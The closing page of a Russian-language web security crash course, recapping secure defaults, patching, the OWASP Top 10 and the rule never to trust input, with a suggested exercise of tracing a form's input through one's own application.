Общие сообщения пользователю, детали — в закрытые логи.

Secure Defaults + Patchingфреймворк и обновления

Используй защиту фреймворка как задумано и обновляй зависимости.

OWASP Top 10карта уязвимостей

Отраслевой список самых частых уязвимостей — как чек-лист.

Веб-безопасность — это в основном одно правило, применённое с дисциплиной: никогда не доверяй вводу. Валидируй на границе, экранируй на выходе, храни секреты безопасно и наслаивай защиты на случай, если что-то проскользнёт.

Конец экспресс-курса · 7 глав · 21 понятие

Дальше — практика: возьми одну форму в том, что ты построил, и проследи её ввод до самого конца. Валидирован ли он на сервере? Попадает ли в запрос параметром? Экранирован ли, когда показывается на странице? Потом посмотри глазами атакующего: что будет, если в поле окажется тег <script>, SQL-синтаксис или кавычка? Уроки становятся конкретными в тот момент, когда ты видишь, как твой ввод доходит до места, где его могут прочесть как код. Но держи одну мысль выше остальных: никогда не доверяй вводу. Почти каждая веб-уязвимость — это правило, забытое в одном месте, и почти каждая защита — это правило, применённое с заботой.